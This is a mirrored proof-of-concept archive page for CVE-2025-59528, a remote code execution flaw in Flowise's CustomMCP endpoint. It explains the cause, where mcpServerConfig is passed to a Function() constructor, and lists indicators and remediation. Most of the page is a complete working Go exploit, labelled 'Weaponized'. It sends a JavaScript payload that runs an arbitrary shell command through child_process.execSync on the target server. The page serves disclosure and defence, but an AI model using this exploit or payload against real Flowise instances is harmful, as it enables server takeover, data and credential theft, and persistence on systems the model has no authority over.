PoC Archive PoC Archive
Critical CVE-2025-59528 patched

Flowise CustomMCP Unauthenticated Remote Code Execution via Function() Constructor (CVE-2025-59528)

by Moon-Harvest · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-59528
Category
web
Affected product
Flowise (FlowiseAI/Flowise)
Affected versions
<= 3.0.5 (patched in 3.0.6)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherMoon-Harvest
CVE / AdvisoryCVE-2025-59528
Categoryweb
SeverityCritical
CVSS Score10.0
StatusWeaponized
Tagsflowise, rce, custommcp, function-constructor, javascript-injection, unauthenticated, llm, node-load-method, cwe-94
RelatedN/A

Affected Target

FieldValue
Software / SystemFlowise (FlowiseAI/Flowise)
Versions Affected<= 3.0.5 (patched in 3.0.6)
Language / PlatformNode.js / TypeScript backend (web application)
Authentication RequiredNo (unauthenticated; only a valid Flowise API key is needed, which may be exposed/default)
Network Access RequiredYes (direct HTTP access to the Flowise API endpoint)

Summary

Flowise exposes a CustomMCP node whose loadMethod handler (/api/v1/node-load-method/customMCP) accepts a user-supplied mcpServerConfig string. On the backend, this string is passed straight into a Function() constructor inside the convertToValidJSONString helper in order to “parse” the MCP server configuration. Because Function() compiles and executes arbitrary JavaScript with the same privileges as the Node.js process, an attacker can smuggle arbitrary JavaScript — including a call into child_process — through the mcpServerConfig field. This results in unauthenticated (API-key-gated only) remote code execution on the host running Flowise.


Vulnerability Details

Root Cause

The backend’s convertToValidJSONString routine (invoked when Flowise tries to load “actions” for a CustomMCP node) evaluates the client-supplied mcpServerConfig value using JavaScript’s Function() constructor rather than a safe JSON parser (e.g. JSON.parse). Since Function() behaves like eval(), any JavaScript expression placed in this field is executed server-side with full Node.js privileges, including access to process.mainModule.require.

Attack Vector

  1. Send a POST request to /api/v1/node-load-method/customMCP on a reachable Flowise instance, authenticated with a valid API key (Bearer token).
  2. Supply a JSON body with loadMethod: "listActions" and an inputs.mcpServerConfig value crafted as a JavaScript IIFE expression rather than valid MCP JSON, e.g.:
    ({x:(function(){const cp = process.mainModule.require('child_process');cp.execSync("<command>");return 1;})()})
    
  3. The backend passes this string into Function(), which compiles and immediately executes it, calling child_process.execSync with the attacker-controlled command.
  4. The command runs with the privileges of the Flowise Node.js process, achieving RCE regardless of the response content returned to the client.

Impact

Full remote code execution on the server hosting Flowise. Because the primitive is a plain Function()/eval-style JS execution, an attacker is not limited to shell commands — any Node.js API reachable via require is available, enabling file system access, credential theft (e.g. environment variables, stored LLM API keys, database credentials), lateral movement, and persistence.


Environment / Lab Setup

Target:   Flowise <= 3.0.5, reachable over HTTP/HTTPS
Attacker: Go toolchain (go run main.go) with network access to the target
          Requires a valid Flowise API key (Bearer token) for the target instance

Proof of Concept

PoC Script

See main.go in this folder.

1
2
3
4
5
git clone https://github.com/Moon-Harvest/CVE-2025-59528
cd CVE-2025-59528/
go run main.go <target-base-url> <api-key> <command>

go run main.go http://target.com h3D_9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"

The Go PoC builds a JSON payload of the form {"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp = process.mainModule.require('child_process');cp.execSync(\"<command>\");return 1;})()})"}} and POSTs it (with Authorization: Bearer <api-key>) to <target-base-url>/api/v1/node-load-method/customMCP. A 200 OK response (even one stating “No available actions, please check your API key and refresh”) indicates the injected command was likely executed server-side before the load-method handler returned.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected child processes spawned by the Flowise Node.js process
  • New/unexplained files created by the Flowise service account (e.g. test artifacts like /tmp/pwned)
  • Flowise logs containing JavaScript expressions instead of well-formed mcpServerConfig JSON
  • Outbound connections or reverse shells originating from the Flowise host shortly after a node-load-method/customMCP request

Remediation

ActionDetail
Primary fixUpgrade Flowise to version 3.0.6 or later, which addresses the unsafe Function()-based parsing of mcpServerConfig
Interim mitigationRestrict network access to the Flowise API, rotate/limit exposure of API keys, and monitor/alert on node-load-method/customMCP requests with non-JSON mcpServerConfig payloads

References


Notes

Mirrored from https://github.com/Moon-Harvest/CVE-2025-59528 on 2026-07-06.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
// Go PoC for Flowise RCE CVE-2025-59528
// https://www.cve.org/CVERecord?id=CVE-2025-59528

package main

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"strings"
	"time"
)

type InputsConfig struct {
	McpServerConfig string `json:"mcpServerConfig"`
}

type Payload struct {
	LoadMethod string `json:"loadMethod"`
	Inputs InputsConfig `json:"inputs"`
}

func main() {

	if len(os.Args) != 4 {
    fmt.Print("Usage: go run main.go <target-url> <api-key> <command>\n\n")
		fmt.Print("Example: go run main.go http://target.com h3D_9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc \"touch /tmp/pwned\"\n\n")
    os.Exit(1)
  }

  const mcpTemplate = `({x:(function(){const cp = process.mainModule.require('child_process');cp.execSync("%s");return 1;})()})`

  rawURL := os.Args[1]
	parsedURL, err := url.Parse(rawURL)

	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Error parsing URL: %v\n", err)
		os.Exit(1)
	}

	hasValidScheme := parsedURL.Scheme == "http" || parsedURL.Scheme == "https"
	hasValidHost := parsedURL.Host != ""
	cleanPath := strings.TrimSpace(parsedURL.Path)
	hasSubPath := cleanPath != "" && cleanPath != "/"

	if !hasValidScheme || !hasValidHost || hasSubPath {
		fmt.Println("[-] Error: Invalid target URL format.")
		fmt.Println("Please only provide the base URL in the format: http://target.com or https://target.com")
		fmt.Println("Do not include additional endpoints or omit the protocol scheme.")
		os.Exit(1)
	}

	targetBaseURL := fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host)

	targetURL := fmt.Sprintf("%s/api/v1/node-load-method/customMCP", targetBaseURL)
	apiKey := os.Args[2]
	commandToExecute := fmt.Sprintf(mcpTemplate, os.Args[3])

	payload := Payload {
		LoadMethod: "listActions",
		Inputs: InputsConfig {
			McpServerConfig: commandToExecute,
		},
	}

	jsonBytes, err := json.Marshal(payload)

	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to marshal JSON: %v\n", err)
		os.Exit(1)
	}

	req, err := http.NewRequest("POST", targetURL, bytes.NewBuffer(jsonBytes))

	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to create request: %v\n", err)
		os.Exit(1)
	}

	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", apiKey))

	client := &http.Client{Timeout: 10 * time.Second}
	resp, err := client.Do(req)

	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Connection failed: %v\n", err)
		os.Exit(1)
	}

	defer resp.Body.Close()

	bodyBytes, err := io.ReadAll(resp.Body)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to read response body: %v\n", err)
	}
	responseString := string(bodyBytes)

	switch resp.StatusCode {
	case http.StatusOK:
		fmt.Printf("[+] Status 200 OK: Command was likely executed.\n")
		if len(responseString) > 0 {
			fmt.Printf("[*] Server Response Data:\n%s\n", responseString)
			fmt.Printf("[*] Do not worry if you get a message saying \"No available actions, please check your API key and refresh\", it can be safely ignored.")
		}

	case http.StatusUnauthorized:
		fmt.Printf("[-] Status 401 Unauthorized: Please double check your API Key.\n")
		fmt.Printf("[*] Server Message: %s\n", responseString)

	case http.StatusForbidden:
		fmt.Printf("[-] Status 403 Forbidden: Request blocked. Check around for WAFs or IP restrictions.\n")

	case http.StatusNotFound:
		fmt.Printf("[-] Status 404 Not Found: Please double check the provided URL.\n")

	case http.StatusInternalServerError:
		fmt.Printf("[-] Status 500 Internal Server Error: The server crashed or blocked.\n")
		if len(responseString) > 0 {
			fmt.Printf("[*] Server Error Details:\n%s\n", responseString)
		}

	default:
		fmt.Printf("[!] Received unexpected Status Code %d\n", resp.StatusCode)
		if len(responseString) > 0 {
			fmt.Printf("[*] Raw Response:\n%s\n", responseString)
		}
	}

}